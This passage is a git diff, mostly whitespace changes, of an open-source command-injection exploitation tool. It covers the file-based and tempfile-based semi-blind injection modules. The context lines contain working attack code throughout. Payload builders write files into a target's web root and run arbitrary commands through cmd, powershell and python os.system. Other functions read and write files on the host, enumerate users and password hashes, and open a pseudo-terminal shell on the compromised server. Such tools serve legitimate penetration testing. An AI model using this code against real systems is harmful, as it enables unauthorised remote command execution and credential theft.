settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) - + # Check if defined extra headers. - headers.do_check(request) - + headers.do_check(request) + # Get the response of the request response = requests.get_request_response(request) return response @@ -251,7 +251,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): try: path_parts = [non_empty for non_empty in path.split('/') if non_empty] count = 0 - for part in path_parts: + for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] @@ -260,7 +260,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): try: output = output.split("?")[0] except: - pass + pass except IndexError: output = url + "/" + OUTPUT_TEXTFILE settings.DEFINED_WEBROOT = output @@ -292,7 +292,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): break elif procced_option in settings.CHOICE_NO: output = custom_web_root(url, OUTPUT_TEXTFILE) - info_msg = "Using '" + output + info_msg = "Using '" + output info_msg += "' as command execution output." print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: @@ -302,7 +302,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(procced_option) + common.invalid_option(procced_option) pass else: output = custom_web_root(url, OUTPUT_TEXTFILE) @@ -314,7 +314,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): print(settings.print_debug_msg(debug_msg)) return output - + """ Command execution results. """ @@ -328,7 +328,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b724351665..dbcc854207 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -23,17 +23,17 @@ from src.core.injections.controller import checks """ -File-based decision payload (check if host is vulnerable). +File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" - ) + ) else: payload = (separator + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE - ) + ) return payload @@ -45,14 +45,14 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p = %i " + settings.CMD_NUL ) else: payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" - ) + ) if settings.USER_AGENT_INJECTION == True or \ settings.REFERER_INJECTION == True or \ @@ -69,7 +69,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): - + if settings.TFB_DECIMAL == True: payload = (separator + cmd) @@ -77,9 +77,9 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + - cmd + + cmd + "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL - ) + ) else: settings.USER_SUPPLIED_CMD = cmd payload = (separator + @@ -99,7 +99,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" payload = (separator + - "for /f \"tokens=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p = %i " + settings.CMD_NUL ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 762c51dfec..dbc1cef04b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -143,7 +143,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) checks.print_current_user_privs(shell, filename, _) - + """ System users enumeration """ @@ -181,7 +181,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti _ = True if output == False: output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) sys_passes = output @@ -211,8 +211,8 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h def reset(): if settings.ENUMERATION_DONE: settings.ENUMERATION_DONE = False - - reset() + + reset() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): if settings.ENUMERATION_DONE: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 5bb9a25ba5..8ac0fb837b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -44,13 +44,13 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) else: - cmd = checks.write_content(content, dest_to_write) + cmd = checks.write_content(content, dest_to_write) cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = "".join(str(p) for p in shell) @@ -76,7 +76,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) - + """ Read a file from the target host. """ @@ -112,7 +112,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: + if menu.options.file_read: file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3e13b9d206..0c212b2201 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -55,7 +55,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT + cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) """ @@ -75,7 +75,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" - if settings.TIME_RELATIVE_ATTACK == False: + if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None @@ -83,15 +83,15 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--maxlen" option. if menu.options.maxlen: settings.MAXLEN = maxlen = menu.options.maxlen - + # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) - if not settings.LOAD_SESSION: + if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " @@ -111,7 +111,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, how_long_statistic = [] if settings.LOAD_SESSION: try: - settings.TEMPFILE_BASED_STATE = True + settings.TEMPFILE_BASED_STATE = True cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) @@ -136,7 +136,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 - + for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). @@ -151,21 +151,21 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload)) - + print(settings.print_payload(payload)) + # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload) - + # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. @@ -220,7 +220,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if len(set(how_long_statistic[0:5])) == 1: if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: statistical_anomaly = False - how_long_statistic = [] + how_long_statistic = [] if timesec <= how_long and not statistical_anomaly: false_positive_fixation = True @@ -277,14 +277,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Set the original delay time original_how_long = how_long - + # Check for false positive resutls how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) : - + if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 @@ -292,7 +292,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = settings.info_msg else: percent = "" - #break + #break else: break # False positive @@ -302,7 +302,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - continue + continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" @@ -310,8 +310,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue - - except (KeyboardInterrupt, SystemExit): + + except (KeyboardInterrupt, SystemExit): if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. # print(settings.SINGLE_WHITESPACE) @@ -326,7 +326,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise + raise except: percent = ((num_of_chars * 100) / total) @@ -350,7 +350,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, percent = ".. (" + str(float_percent) + "%)" break - # Yaw, got shellz! + # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - timesec) >= 0) or \ (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ @@ -369,27 +369,27 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, whitespace = settings.SINGLE_WHITESPACE possibly_vulnerable = False - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" - elif settings.USER_AGENT_INJECTION == True: + elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.REFERER_INJECTION == True: + elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.HOST_INJECTION == True: + elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" - elif settings.CUSTOM_HEADER_INJECTION == True: + elif settings.CUSTOM_HEADER_INJECTION == True: header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -404,14 +404,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" + found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) + logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: @@ -432,13 +432,13 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - + settings.LOAD_SESSION = False + # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) - + # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: @@ -449,11 +449,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, menu.options.ignore_session = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break - elif enumerate_again in settings.CHOICE_NO: + elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: common.invalid_option(enumerate_again) @@ -461,7 +461,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if menu.enumeration_options(): tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: @@ -479,12 +479,12 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(file_access_again) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - + # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd @@ -492,9 +492,9 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Export injection result if len(output) > 1: delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - + # Pseudo-Terminal shell - try: + try: checks.alert() go_back = False go_back_again = False @@ -526,7 +526,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back and go_back_again == False: break if go_back and go_back_again: - return True + return True else: if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: @@ -547,25 +547,25 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, break else: if no_result == True: - return False + return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True + return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise SystemExit() else: - common.invalid_option(gotshell) + common.invalid_option(gotshell) pass except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") - raise - + raise + except EOFError: if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) @@ -574,7 +574,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.stdout.write("\r") - raise + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: @@ -599,5 +599,5 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time settings.TIME_RELATIVE_ATTACK = False settings.TEMPFILE_BASED_STATE = False return False - -# eof \ No newline at end of file + +# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index c7e8013893..0ca65b1046 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -65,7 +65,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, parameter = parameters.do_POST_check(parameter, http_request_method) parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -73,7 +73,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -107,7 +107,7 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) - + # Check if defined method is POST. else: parameter = menu.options.data @@ -118,8 +118,8 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data + + # Define the POST data if settings.IS_JSON: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: @@ -127,7 +127,7 @@ def injection_test(payload, http_request_method, url): except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) @@ -170,17 +170,17 @@ def host_injection_test(url, vuln_parameter, payload): """ def custom_header_injection_test(url, vuln_parameter, payload): return requests.custom_header_injection(url, vuln_parameter, payload) - + """ The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" if menu.options.file_write or menu.options.file_upload : @@ -190,14 +190,14 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - print(settings.print_info_msg(info_msg)) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): # Execute shell commands on vulnerable host. if alter_shell : payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - + payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) @@ -210,8 +210,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + payload_msg = payload.replace("\n", "\\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -235,13 +235,13 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): injection_check = True - if injection_check == True: + if injection_check == True: if output_length > 1: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) @@ -267,12 +267,12 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" else: - info_msg += "\n" + info_msg += "\n" if output_length > 1: sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) + char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: # Get the execution ouput, of shell execution. if alter_shell : @@ -285,14 +285,14 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) + payload_msg = payload.replace("\n", "\\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -316,7 +316,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - + # Examine time-responses injection_check = False if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): @@ -337,7 +337,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: output.append(chr(ascii_char)) - injection_check = False + injection_check = False break check_end = time.time() check_how_long = int(check_end - check_start) @@ -346,7 +346,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check for empty output. if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" - + else: check_start = 0 check_how_long = 0 @@ -363,7 +363,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) - else: + else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" found_chars = False @@ -372,12 +372,12 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Varying the sleep time. if false_positive_warning: timesec = timesec + random.randint(3, 5) - + # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") # Execute shell commands on vulnerable host. if alter_shell : @@ -391,13 +391,13 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - + # Perform payload modification payload = checks.perform_payload_modification(payload) # 